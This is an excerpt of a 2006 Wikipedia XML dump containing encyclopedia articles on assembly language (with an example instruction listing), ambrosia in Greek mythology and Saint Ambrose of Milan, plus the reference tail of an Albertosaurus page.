 | journal = Acta Palaeontologica Polonica
 | volume = 48(20)
 | pages = 191-226
 }} [anatomy, re-separation from ''Gorgosaurus'']
#{{cite journal
 | author = Currie, P.J., J.H. Hurum, &amp; K. Sabath
 | year = 2003
 | title = Skull structure and evolution in tyrannosaurid phylogeny
 | journal = Acta Palaeontologica Polonica
 | volume = 48(2)
 | pages = 227-234
 }} [includes phylogeny]
#{{cite book
 | author = Holtz, T.R.
 | year = 2004
 | title = The Dinosauria
 | chapter = Chapter 5: Tyrannosauroidea.
 | editor = Weishampel, D.A., P. Dodson, &amp; H. Osmolska, eds.
 | edition = Second Edition
 | pages = 111-136
 | publisher = University of California Press 
 | location = Berkeley
 }} [includes phylogeny]
#{{cite journal
 | author = Carr, T.D., T.E. Williamson, &amp; D.R. Schwimmer
 | year = 2005
 | title = A new genus and species of tyrannosauroid from the Late Cretaceous (middle Campanian) Demopolis Formation of Alabama
 | journal = Journal of Vertebrate Paleontology
 | volume = 25(1)
 | pages = 119-143
 }} [description of ''Appalachiosaurus'', includes phylogeny]

[[Category:Cretaceous dinosaurs]]
[[Category:Theropods]]
[[Category:Tyrannosaurids]]

[[de:Albertosaurus]]
[[es:Albertosaurus]]
[[fr:Albertosaurus]]
[[he:&amp;#1488;&amp;#1500;&amp;#1489;&amp;#1512;&amp;#1496;&amp;#1493;&amp;#1494;&amp;#1488;&amp;#1493;&amp;#1512;]]
[[ja:&amp;#12450;&amp;#12523;&amp;#12496;&amp;#12540;&amp;#12488;&amp;#12469;&amp;#12454;&amp;#12523;&amp;#12473;]]
[[sv:Albertosaurus]]
[[nl:Albertosaurus]]
[[pt:Albertossauro]]</text>
    </revision>
  </page>
  <page>
    <title>Assembly language</title>
    <id>1368</id>
    <revision>
      <id>41739134</id>
      <timestamp>2006-03-01T11:42:47Z</timestamp>
      <contributor>
        <username>Akamad</username>
        <id>292168</id>
      </contributor>
      <comment>Revert to revision 41652522 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Assembly language''' commonly called '''assembly''' or '''asm''', is a [[human-readable]] notation for the [[machine language]] that a specific [[computer architecture]] uses. Machine language, a pattern of bits encoding machine operations, is made readable by replacing the raw values with symbols called ''mnemonics''.

For example, a computer with the appropriate processor will understand this [[x86]]/[[IA-32]] [[machine language]]:
 10110000 01100001
For programmers, however, it is easier to remember the equivalent assembly language representation:
 mov  al, 061h
which means to move the [[hexadecimal]] value 61 (97 [[decimal]]) into the [[processor register]] with the name &quot;al&quot;. The [[mnemonic]] &quot;mov&quot; is short for &quot;move&quot;, and a comma-separated list of arguments or parameters follows it; this is a typical assembly language statement.

Transforming assembly into machine language is accomplished by an [[assembler]], and the reverse by a [[disassembler]]. Unlike in [[high-level language]]s, there is usually a [[1-to-1]] correspondence between simple assembly statements and machine language instructions. However, in some cases an assembler may provide ''pseudoinstructions'' which expand into several machine language instructions to provide commonly needed functionality. For example, for a machine that lacks a &quot;branch if greater or equal&quot; instruction, an assembler may provide a pseudoinstruction that expands to the machine's &quot;set if less than&quot; and &quot;branch if zero (on the result of the set instruction)&quot;.

Every [[computer architecture]] has its own machine language, and therefore its own assembly language. Computers differ by the number and type of operations that they support. They may also have different sizes and numbers of registers, and different representations of data types in storage. While all general-purpose computers are able to carry out essentially the same functionality, the way they do it differs, and the corresponding assembly language must reflect these differences.

In addition, multiple sets of [[mnemonic|mnemonics]] or assembly-language syntax may exist for a single instruction set.  In these cases, the most popular one is usually that used by the manufacturer in their documentation.

==Machine instructions==
Instructions in assembly language are generally very simple, unlike in a [[high-level language]].  Any instruction that references memory (for data or as a jump target) will also have an [[addressing mode]] to determine how to calculate the required memory address.  More complex operations must be built up out of these simple operations.  Some operations available in most instruction sets include:
* moving
** set a [[processor register|register]] (a temporary &quot;scratchpad&quot; location in the CPU itself) to a fixed constant value
** move data from a memory location to a register, or vice versa.  This is done to obtain the data to perform a computation on it later, or to store the result of a computation.
** read and write data from hardware devices
* computing
** add, subtract, multiply, or divide the values of two registers, placing the result in a register
** perform [[bitwise operation]]s, taking the conjunction/disjunction (and/or) of corresponding bits in a pair of registers, or the negation (not) of each bit in a register
** compare two values in registers (for example, to see if one is less, or if they are equal)
* affecting program flow
** jump to another location in the program and execute instructions there
** jump to another location if a certain condition holds
** jump to another location, but save the location of the next instruction as a point to return to (a ''call'')

Some computers include one or more &quot;complex&quot; instructions in their instruction set. A single &quot;complex&quot; instruction does something that may take many instructions on other computers.  Such instructions are typified by instructions that take multiple steps, may issue to multiple functional units, or otherwise appear to be a design exception to the simplest instructions which are implemented for the given processor.  Some examples of such instruction include:

* saving many registers on the stack at once
* moving large blocks of memory
* complex and/or floating-point arithmetic ([[sine]], [[cosine]], [[square root]], etc.)
* performing an atomic [[test-and-set]] instruction
* instructions that combine ALU with an operand from memory rather than a register

A form of complex instructions that has become particularly popular recently are [[SIMD]] operations that perform the same arithmetic operation to multiple pieces of data at the same time, which have appeared under various trade names beginning with [[MMX]] and [[AltiVec]].

The design of instruction sets is a complex issue, with a simpler instruction set (generally grouped under the concept [[RISC]]) perhaps offering the potential for higher speeds, while a more complex one (traditionally called [[CISC]]) may offer particularly fast implementations of common performance-demanding tasks, may use memory (and thus [[cache]]) more efficiently, and be somewhat easier to program directly in assembly.  See [[instruction set]] for a fuller discussion of this point.

==Assembly language directives==
In addition to codes for machine instructions, assembly languages have extra directives for assembling blocks of data, and assigning address locations for instructions or code. 

They usually have a simple symbolic capability for defining values as symbolic expressions which are evaluated at assembly time, making it possible to write code that is easier to read and understand.

Like most computer languages, comments can be added to the [[source code]]; these often provide useful additional information to human readers of the code but are ignored by the assembler and so may be used freely.

They also usually have an embedded [[macro language]] to make it easier to generate complex pieces of code or data.

In practice, the absence of comments and the replacement of symbols with actual numbers makes the human interpretation of disassembled code considerably more difficult than the original (high level) source would be.

==Usage of assembly language==
Historically, a large number of programs have been written entirely in assembly language.  A classic example was the early IBM PC [[spreadsheet]] program [[Lotus 123]].  Even into the 1990s, the majority of console video games were written in assembly language, including most games written for the [[Sega Genesis]] and the [[Super Nintendo Entertainment System]].  The popular arcade game [[NBA Jam]] (1993) was also coded entirely using assembly language.

There is some debate over the continued usefulness of assembly language. It is often said that modern compilers can render higher-level languages into codes that run as fast as hand-written assembly, but counter-examples can be made, and there is no clear consensus on this topic. It is reasonably certain that, given the increase in complexity of modern processors, effective hand-optimization is increasingly difficult and requires a great deal of knowledge.

However, some discrete calculations can still be rendered into faster running code with assembly, and some [[Low-level programming language|low-level]] programming is actually easier to do with assembly.  Some system-dependent tasks performed by [[operating system|operating systems]] simply cannot be expressed in high-level languages.  In particular, assembly is often used in writing the low level interaction between the operating system and the hardware, for instance in [[device driver|device drivers]].  Many compilers also render high-level languages into assembly first before fully compiling, allowing the assembly code to be viewed for debugging and optimization purposes.

It's also common, especially in relatively low-level languages such as [[C programming language|C]], to be able to embed assembly language into the source code with special syntax. Programs using such facilities, such as the [[Linux kernel]], often construct abstractions where different assembly language is used on each platform the program supports, but it is called by portable code through a uniform interface.

Many [[embedded system|embedded systems]] are also programmed in assembly to obtain the absolute maximum functionality out of what is often very limited computational resources, though this is gradually changing in some areas as more powerful chips become available for the same minimal cost.

Another common area of assembly language use is in the system [[BIOS]] of a computer.  This low-level code is used to initialize and test the system hardware prior to booting the OS and is stored in [[Read-only memory|ROM]].  Once a certain level of hardware initialization has taken place, code written in higher level languages can be used, but almost always the code running immediately after power is applied is written in assembly language.  This is usually due to the fact that system [[RAM]] may not yet be initialized at power-up and assembly language can execute without explicit use of memory, especially in the form of a [[stack (computing)|stack]].

Assembly language is also valuable in [[reverse engineering]], since many programs are distributed only in machine code form, and machine code is usually easy to translate into assembly language and carefully examine in this form, but very difficult to translate into a higher-level language. Tools such as the [[Interactive Disassembler]] make extensive use of disassembly for such a purpose.

[[MenuetOS]], a floppy-based operating system with a fully functional GUI is written entirely in assembly. A 64bit version is also available. The author claims that only through assembly language could he produce his system in less than 1.4 megabytes.&lt;!-- Lots of systems are programmed in assembler; why is MenuetOS notable? Because MenuetOS is written ENTIRELY in assembly, that's why. --&gt;

==Example listing of assembly language source code==

{| style=&quot;margin-left: 1em; margin-bottom: 0.5em; border: solid 1px&quot;
|&amp;bull; '''Addr'''
|&amp;bull; '''Label'''
|&amp;bull; '''Instruction''' &amp;bull;
|&amp;bull; '''Object code''' &amp;bull;
|{{ref|Murdocca}}
|-
|
| 
|&lt;tt&gt;.begin&lt;/tt&gt;
|
|-
|
|
|&lt;tt&gt;.org 2048&lt;/tt&gt;
|
|-
|
|&lt;tt&gt;a_start&lt;/tt&gt;
|&lt;tt&gt;.equ 3000&lt;/tt&gt;
|
|-
|&amp;nbsp;&lt;tt&gt;2048&lt;/tt&gt;
|
|&lt;tt&gt;ld [length],&amp;r1&lt;/tt&gt;
|&lt;tt&gt;11000010 00000000 00101000 00101100&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2052&lt;/tt&gt;
|
|&lt;tt&gt;ld [address],%r2 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;11000100 00000000 00101000 00110000&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2056&lt;/tt&gt;
|
|&lt;tt&gt;addcc %r3,%r0,%r3 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10000110 10001000 11000000 00000000&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2060&lt;/tt&gt;
|&lt;tt&gt;loop:&lt;/tt&gt;
|&lt;tt&gt;addcc %r1,%r1,%r0 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10000000 10001000 01000000 00000001&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2064&lt;/tt&gt;
|
|&lt;tt&gt;be done&amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000010 10000000 00000000 00000110&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2068&lt;/tt&gt;
|
|&lt;tt&gt;addcc %r1,-4,%r1 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10000010 10000000 01111111 11111100&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2072&lt;/tt&gt;
|
|&lt;tt&gt;addcc %r1,%r2,%r4 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10001000 10000000 01000000 00000010&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2076&lt;/tt&gt;
|
|&lt;tt&gt;ld %r4,%r5 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;11001010 00000001 00000000 00000000&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2080&lt;/tt&gt;
|
|&lt;tt&gt;ba loop &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00010000 10111111 11111111 11111011&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2084&lt;/tt&gt;
|
|&lt;tt&gt;addcc %r3,%r5,%r3 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10000110 10000000 11000000 00000101&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2088&lt;/tt&gt;
|&lt;tt&gt;done:&lt;/tt&gt;
|&lt;tt&gt;jmpl %r15+4,%r0 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;10000001 11000011 11100000 00000100&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2092&lt;/tt&gt;
|&lt;tt&gt;length:&lt;/tt&gt;
|&lt;tt&gt;20 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000000 00000000 00000000 00010100&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;2096&lt;/tt&gt;
|&lt;tt&gt;address:&lt;/tt&gt;
|&lt;tt&gt;a_start &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000000 00000000 00001011 10111000&lt;/tt&gt;
|-
|
|
|&lt;tt&gt;.org a_start &amp;nbsp;&lt;/tt&gt;
|
|-
|&amp;nbsp;&lt;tt&gt;3000&lt;/tt&gt;
|&lt;tt&gt;a:&lt;/tt&gt;
|&lt;tt&gt;25 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000000 00000000 00000000 00011001&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;3004&lt;/tt&gt;
|
|&lt;tt&gt;-10 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;11111111 11111111 11111111 11110110&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;3008&lt;/tt&gt;
|
|&lt;tt&gt;33 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000000 00000000 00000000 00100001&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;3012&lt;/tt&gt;
|
|&lt;tt&gt;-5 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;11111111 11111111 11111111 11111011&lt;/tt&gt;
|-
|&amp;nbsp;&lt;tt&gt;3016&lt;/tt&gt;
|
|&lt;tt&gt;7 &amp;nbsp;&lt;/tt&gt;
|&lt;tt&gt;00000000 00000000 00000000 00000111&lt;/tt&gt;
|-
|
|
|&lt;tt&gt;.end &amp;nbsp;&lt;/tt&gt;
|
|-
|}

Example of a selection of instructions (for a [[Universal Virtual Computer|virtual computer]] {{ref|wwwPOCA}}) with the
corresponding [[Memory address|address]] in memory where each instruction will be placed. These addresses are not static, see [[memory management]].
Accompanying each instruction is the generated (by the assembler) object code that coincides with the virtual computer's architecture (or [[Instruction set|ISA]]).

==See also==
* [[Assembler]]

==Books==
*[http://cs.smith.edu/~thiebaut/ArtOfAssembly/artofasm.html The Art of Assembly Language Programming], by [[Randall Hyde]]
*[http://www.computer-books.us/assembler.php Computer-Books.us], Online Assembly Language Books
*[http://www.drpaulcarter.com/pcasm/redir.php?file=pcasm-book-pdf.zip PC Assembly Language] by [[Dr Paul Carter]]; *[http://drpaulcarter.com/pcasm/ PC Assembly Tutorial using NASM and GCC] by Paul Carter
*[http://savannah.nongnu.org/projects/pgubook/ Programming from the Ground Up] by Jonathan Bartlett

==External links==
{{Wikibookspar||Programming:Assembly}}
*[http://www.menuetos.net/ MenuetOS - hobby Operating System for the PC written entirely in 64bit assembly language]
* [http://home.comcast.net/~dtgm/asm_links.html List of resources; books, websites, newsgroups, and IRC channels]
* [http://asm.sf.net Linux Assembly]
* [http://www.int80h.org/ Unix Assembly Language Programming]
* [http://c2.com/cgi/wiki?LearningAssemblyLanguage PPR: Learning Assembly Language]
* [http://www.codeteacher.com CodeTeacher]
* [http://www.azillionmonkeys.com/qed/asmexample.html Assembly Language Programming Examples]
* [http://www.cs.cornell.edu/talc/ Typed Assembly Language (TAL)]
* [http://www.grc.com/smgassembly.htm Authoring Windows Applications In Assembly Language]
{{Major programming languages small}} 
[[Category:Assembly languages|*Assembly language]]
[[Category:Programming languages]]
&lt;!-- interwiki --&gt;
[[bg:Асемблер]]
[[cs:Assembler]]
[[da:Assemblersprog]]
[[de:Assemblersprache]]
[[eo:Asembla lingvo]]
[[es:Lenguaje ensamblador]]
[[et:Assemblerkeel]]
[[fi:Assembly (ohjelmointikieli)]]
[[fr:Assembleur (langage)]]
[[he:שפת_סף]]
[[hr:Assembler]]
[[it:Assembly]]
[[ja:アセンブリ言語]]
[[ko:어셈블리어]]
[[nl:Programmeertaal Assembler]]
[[no:Assembler]]
[[pl:Asembler]]
[[pt:Assembly]]
[[ru:Ассемблер]]
[[sl:zbirnik (programski jezik)]]
[[th:ภาษาแอสเซมบลี]]
[[zh:汇编语言]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrosia</title>
    <id>1369</id>
    <revision>
      <id>42098456</id>
      <timestamp>2006-03-03T20:43:15Z</timestamp>
      <contributor>
        <username>Dan Austin</username>
        <id>347811</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Otheruses|the food or drink of the gods}}

In ancient [[Greek mythology|mythology]], '''Ambrosia''' (Greek {{lang|el|&amp;#945;&amp;#787;&amp;#956;&amp;#946;&amp;#961;&amp;#959;&amp;#963;&amp;#953;&amp;#769;&amp;#945;}}) is sometimes the food, 
sometimes the drink, of the [[gods]].  The word has generally been derived from Greek ''a-'' (&quot;not&quot;) and ''mbrotos'' (&quot;mortal&quot;); hence the food or drink of the immortals.  [[Thetis]] anointed the infant [[Achilles]] with ambrosia and passed the child through the fire to make him immortal&amp;mdash;a familiar [[Phoenicia]]n custom&amp;mdash;but [[Peleus]], appalled, stopped her. In ''[[Iliad]]'' xvi, [[Apollo]] washed the black blood from the corpse of [[Sarpedon]] and anointed it with ambrosia, readied for its dreamlike return to Sarpedon's native [[Lycia]]. The classical scholar [[Arthur Woollgar Verrall]], however, denied that there is any clear example in which the word ''ambrosios'' necessarily means ''immortal'', and preferred to explain it as &quot;fragrant,&quot; a sense which is always suitable. If so, the word may be derived from the [[Semitic languages|Semitic]] ''MBR'' (&quot;amber&quot;, compare &quot;[[ambergris]]&quot;) to which Eastern nations attribute miraculous properties. In Europe, honey-colored [[amber]], sometimes far from its natural source, was already a grave gift in [[Neolithic]] times and was still worn in the [[7th century CE]] as a talisman by [[Druidry|druidic]] [[Frisia|Frisians]], though St. [[Eligius]] warned &quot;No woman should presume to hang amber from her neck.&quot; [[W. H. Roscher]] thinks that both '''nectar''' and ambrosia were kinds of [[honey]], in which case their power of conferring immortality would be due to the supposed healing and cleansing power of honey, which is in fact aseptic, and because fermented honey ([[mead]]) preceded [[wine]] as an [[entheogen]] in the Aegean world: the Great Goddess of [[Crete]] on some Minoan seals had a [[bee]] face: compare [[Merope]] and [[Melissa]]. See also [[Ichor]].

One of the impieties of [[Tantalus]], according to [[Pindar]], was that he offered to his guests the ambrosia of the Deathless Ones, a theft akin to that of [[Prometheus]], [[Karl Kerenyi]] noted (in ''Heroes of the Greeks''). [[Circe]] mentioned to [[Odysseus]] that a flock of doves brought the ambrosia to Olympus. 

Derivatively, the word ''Ambrosia'' (neuter plural) was given to certain festivals in honour of [[Dionysus]], probably because of the predominance of feasting in connection with them. 

&quot;Ambrosia&quot; is related to the [[Hinduism|Hindu]] [[amrita]], a drink which conferred immortality on the gods.

In [[Greek mythology]], one of the [[Hyades (mythology)|Hyades]].

Many modern scholars, including Danny Staples, relate ambrosia to the [[Psychedelics, dissociatives and deliriants | hallucinogen]]ic mushroom ''[[Amanita muscaria]].''  

==References==
*[[Carl A. P. Ruck|Ruck, Carl A.P.]] and [[Danny Staples]], ''The World of Classical Myth'' 1994, p. 26 et seq.
*[http://47.1911encyclopedia.org/A/AM/AMBROSIA.htm ''Encyclopædia Britannica'' 1911]: Ambrosia

 [[Category:Greek mythology]][[Category:Fictional beverages]]


[[de:Ambrosia]]
[[es:Ambrosía]]
[[eo:Ambrozio]]
[[fr:Ambroisie]]
[[it:Ambrosia (mitologia)]]
[[he:אמברוסיה]]
[[lt:Ambrozija]]
[[nl:Ambrozijn]]
[[pt:Ambrósia]]
[[sv:Ambrosia]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrose</title>
    <id>1370</id>
    <revision>
      <id>41486638</id>
      <timestamp>2006-02-27T18:11:40Z</timestamp>
      <contributor>
        <username>Bhadani</username>
        <id>219828</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.195.132.2|66.195.132.2]] ([[User talk:66.195.132.2|talk]]) to last version by 65.30.184.44</comment>
      <text xml:space="preserve">{{dablink|For other people and things named '''Ambrose''', see [[Ambrose (disambiguation)]]}}

[[Image:AmbroseOfMilan.jpg|thumb|Saint Ambrose, mosaic in church St. Ambrogio, Milan]]
Saint '''Ambrose''', ([[Latin]]: ''Sanctus Ambrosius''; [[Italian language|Italian]]: ''Sant'Ambrogio'') (c [[340]]&amp;ndash;[[4 April]] [[397]]), [[Roman Catholic Archdiocese of Milan|bishop of Milan]], was one of the most eminent bishops of the 4th century. Together with [[Augustine of Hippo]], [[Jerome]], and [[Gregory I]], he his counted one of the four [[doctors of the Church|doctors of the West]] of antique church history.

==Life==
===Worldly career===
[[Image:AmbroseStatue.png|thumb|left|Statue of St. Ambrose]]
Ambrose was a citizen of [[Rome]], born about [[337]]&amp;ndash;[[340]] in [[Trier]], [[Germany]], into a Christian family. His father was prefect of [[Gallia Narbonensis]], his mother was a woman of intellect and piety. There is a legend that as an infant, a swarm of [[bee]]s settled on his face while he lay in his cradle, leaving behind a drop of [[honey]]. His father considered this a [[Christian symbolism|sign]] of his future [[eloquence]] and honeyed-tongue. For this reason, bees and [[beehive (beekeeping)|beehives]] often appear in the [[Saint symbology|saint's symbology]].

After the early death of his father, Ambrose was destined to follow his father's career, and was accordingly educated in Rome, studying [[literature]], [[law]] and [[rhetoric]].  [[Praetor]] [[Anicius Probus]] first gave him a place in the council and then made him about 372  [[consular prefect]] of [[Liguria]] and [[Emilia]], with headquarters at [[Milan]], which was then beside Rome the second capital in Italy. Ambrose made an excellent administrator in this important position and became soon very popular.

===Bishop of Milan===
The diocese of Milan was at the time, like the rest of the church, deeply divided in the contest between Trinitarians and Arians. In [[374]], [[Auxentius]], bishop of Milan, died, and the [[Nicene]] and [[Arianism|Arian]] parties contended for the [[succession]]. The prefect went personally to the basilica where the election should take place, to prevent an uproar which was probable in this crisis. His address was interrupted by a call &quot;Ambrose for bishop!&quot; which was taken up by others upon which he was univocally elected bishop. 

Ambrose was a likely candidate in this situation, because he was known to Trinitarians as sympathizer, but also acceptable to Arians due to the theologically neutral position he took as politician. He himself refused at first energetically the office, for which he was in no way prepared - he was so far only [[catechumen]] with no theological training. Only by intervention of the emperor he gave in and got within a week baptism and ordination and was duly installed as bishop of [[Milan]]. 

As bishop, he immediately adopted an ascetic lifestyle, apportioned his money to the poor, settled his land on the church, making only provision for his sister [[Marcellina]], and committed the care of his family to his brother.

According to legend, Saint Ambrose immediately and forcefully stopped heresy in Milan. Actually, he moved more realistically and deliberately, as he had not many arguments against Arianism which dominated especially among the clerics and higher levels of society. He started to study the basics of theology with [[Simplician]], a [[presbyter]] of Rome. Using to advantage his excellent knowledge of Greek, which was then rare in the West, he studied the Bible and Greek authors like [[Philo]], [[Origenes]], [[Athanasius]] and [[Basil of Caesarea]], with whom he was also exchanging letters [http://www.ccel.org/ccel/schaff/npnf208.ix.cxcviii.html (See letter of Basil to Ambrose)]. He applied his new knowledge as preacher, concentrating especially on exegesis of the Old Testament and his impressive rhetorical abilities impressed Augustine of Hippo, who hitherto had thought poorly of Christian preachers.

===Ambrose and Arians===
In the confrontation with Arians, Ambrose applied theological and political means, using his eloquence as effectively as his political experience and his excellent political connections.

[[Gratianus|Gratian]], the son of the elder [[Valentinian I]], was Trinitarian; but the younger [[Valentinian II|Valentinian]], who had now become his colleague in the empire, adopted the opinions of the [[Arians]], and all the arguments and eloquence of Ambrose could not reclaim the young prince to the orthodox faith. [[Theodosius I]], the emperor of the East, also professed the [[Nicene]] belief; but there were many adherents of [[Arius]] throughout his dominions, especially among the higher clergy. In this distracted state of religious opinion, two leaders of the Arians, [[Palladius]] and [[Secundianus]], confident of numbers, prevailed upon [[Gratian]] to call a general council from all parts of the empire. This request appeared so equitable that he complied without hesitation; but Ambrose, foreseeing the consequence, prevailed upon the emperor to have the matter determined by a council of the Western bishops.

A [[synod]], composed of thirty-two bishops, was accordingly held at [[Aquileia]] in the year [[381]]. Ambrose was elected president; and Palladius, being called upon to defend his opinions, declined, insisting that the meeting was a partial one, and that, all the bishops of the empire not being present, the sense of the Christian church concerning the question in dispute could not be obtained.  A vote was then taken, when Palladius and his associate Secundianus were deposed from the episcopal office.

The increasing strength of the Arians proved a formidable task for Ambrose. In [[384]] the young emperor and his mother [[Justina]], along with a considerable number of [[clergy]] and [[laity]], especially military, professing the Arian faith, requested from the bishop the use of two churches, one in the city, the other in the suburbs of [[Milan]].

Ambrose refused, and was required to answer for his conduct before the council. He went, attended by a numerous crowd of people, whose impetuous zeal so overawed the ministers of Valentinian that he was permitted to retire without making the surrender of the churches. The day following, when he was performing divine service in the basilica, the prefect of the city came to persuade him to give up at least the Portian church in the suburbs. As he still continued obstinate, the court proceeded to violent measures: the officers of the household were commanded to prepare the [[Basilica]] and the Portian [[church]]es to celebrate divine service upon the arrival of the emperor and his mother at the ensuing [[festival]] of [[Easter]].

Perceiving the growing strength of the [[prelate]]'s interest, the court deemed it prudent to restrict its demand to the use of one of the churches. But all entreaties proved in vain, and drew forth the following characteristic declaration from the bishop: 
:&quot;If you demand my person, I am ready to submit: carry me to [[prison]] or to [[death]], I will not resist; but I will never betray the church of [[Jesus|Christ]]. I will not call upon the people to succour me; I will die at the foot of the [[altar]] rather than desert it. The tumult of the people I will not encourage: but [[God]] alone can appease it.&quot;

Circumstances never actually tried Ambrose's courage to this degree.

===Ambrose and emperors===
[[Image:AmbroseTheodosiusVanDyck.jpg|thumb|300px|van Dyck: Saint Ambrose and emperor Theodosius]]
If the imperial court was displeased with the religious principles and conduct of Ambrose, it respected his great political talents; and when necessity required, his aid was solicited and generously granted. When [[Magnus Maximus]] usurped the supreme power in [[Gaul]], and was meditating a descent upon Italy, Valentinian sent Ambrose to dissuade him from the undertaking, and the embassy was successful.

On a second attempt of the same kind Ambrose was again employed; and although he was unsuccessful, it cannot be doubted that, if his advice had been followed, the schemes of the usurper would have proved abortive; but the enemy was permitted to enter [[Italy]]; and [[Milan]] was taken. Justina and her son fled; but Ambrose remained at his post, and did good service to many of the sufferers by causing the plate of the church to be melted for their relief.

Ambrose was equally zealous in combating the attempt made by the upholders of the old state religion to resist the enactments of Christian emperors. The pagan party was led by [[Quintus Aurelius Symmachus]], consul in [[391]], who presented to [[Valentinian II]] a forcible but unsuccessful petition praying for the restoration of the [[Altar of Victory]] to its ancient station in the hall of the [[Roman Senate]], the proper support of seven [[Vestal Virgin]]s, and the regular observance of the other pagan ceremonies.

To this petition Ambrose replied in a letter to Valentinian, arguing that the devoted worshippers of [[idolatry|idols]] had often been forsaken by their [[list of deities|deities]]; that the native valour of the Roman soldiers had gained their victories, and not the pretended influence of pagan [[priest]]s; that these idolatrous worshippers requested for themselves what they refused to Christians; that voluntary was more honourable than constrained [[virginity]]; that as the Christian ministers declined to receive temporal emoluments, they should also be denied to pagan priests; that it was absurd to suppose that [[God]] would inflict a famine upon the empire for neglecting to support a religious system contrary to His will as revealed in the [[Holy Scripture]]s; that the whole process of nature encouraged innovations, and that all nations had permitted them even in religion; that heathen sacrifices were offensive to Christians; and that it was the duty of a Christian prince to suppress pagan ceremonies. In the epistles of Symmachus and of Ambrose both the petition and the reply are preserved. 

The turn of mind of Ambrose, and his rhetorical application of apparently logical processes are well displayed in his 40th and 41st ''Epistles''. A bishop was accused of instigating the burning of a synagogue by an [[anti-Semitism|anti-Semitic]] mob, and Emperor Theodosius was preparing to order the bishop to rebuild it. Ambrose discouraged the Emperor from taking this step, not that the bishop in question had never encouraged fanatic destruction, but on the grounds that it would appear to show favoritism to the [[Jew]]s. He adduces recent instances of inaction: when houses of various wealthy individuals were burned in Rome; when the house of the Bishop of [[Constantinople]] was burnt; when several Christian basilicas were burnt during the reign of [[Julian the Apostate|Julian]], some of which were still not rebuilt, an action Ambrose attributes to the Jews. Ambrose asks that Christian monies not be used to build a place of worship for unbelievers, [[heretic]]s or Jews, and he reminds Theodosius that some Christian laity had said of Emperor [[Maximus]], &quot;he has become a Jew&quot; because of the edict Maximus issued regarding the burning of a Roman synagogue. Ambrose did not oppose punishing those directly responsible for burning the synagogue.

To support the logic of his argument, Ambrose halted the celebration of the [[Eucharist]], essentially holding the Christian community hostage, until Theodosius agreed to abort the investigation without requiring reparations to be made by the bishop.

[[Theodosius I]], the emperor of the East, espoused the cause of Justina, and regained the kingdom. Theodosius was threateded with excommunication by Ambrose for the massacre of 7,000 persons at [[Thessalonika|Thessalonica]] in [[390]], and was bidden imitate [[David]] in his repentance as he had imitated him in guilt - Ambrose readmitted the emperor only after several months of penance to the Eucharist. This incident shows the strong position of a bishop in the Western part of the empire, even when facing a strong emperor - the controversy of [[John Chrysostom]] with a much weaker emperor a few years later in Constantinople lead to a crushing defeat of the bishop.

Ambrose's influence upon Theodosius is credited with eliciting the enactment of the &quot;Theodosian decrees&quot; of [[391]] (see entry [[Theodosius I]], which are more characteristic of the constant agenda of Ambrose than of Theodosius.

In [[392]], after the assassination of [[Valentinian II]] and the usurpation of [[Eugenius]], Ambrose fled from Milan; but when Theodosius was eventually victorious, he supplicated the emperor for the pardon of those who had supported Eugenius. Soon after acquiring the undisputed possession of the [[Roman empire]], Theodosius died at Milan in [[395]], and two years later ([[April 4]], [[397]]) Ambrose also passed away. He was succeeded as bishop of Milan by [[Simplician]]. Ambrose's body may still be viewed in the church of S. Ambrogio in Milan, where it has been continuously venerated &amp;#8212; along with the bodies identified in his time as being those of Sts. Gervase and Protase &amp;#8212; and is one of the oldest extant bodies of historical personages known outside [[Egypt]].

===Character===
Many circumstances in the history of Ambrose are characteristic of the general spirit of the times. The chief causes of his victory over his opponents were his great popularity and the reverence paid to the episcopal character at that period. But it must also be noted that he used several indirect means to obtain and support his authority with the people.

He was liberal to the [[poor]]; it was his custom to comment severely in his preaching on the public characters of his times; and he introduced popular reforms in the order and manner of public worship. It is alleged, too, that at a time when the influence of Ambrose required vigorous support, he was admonished in a dream to search for, and found under the pavement of the church, the remains of two [[martyr|martyrs]], [[Gervasius]] and [[Protasius]]. The applause of the people was mingled with the derision of the court party.

==Theology==
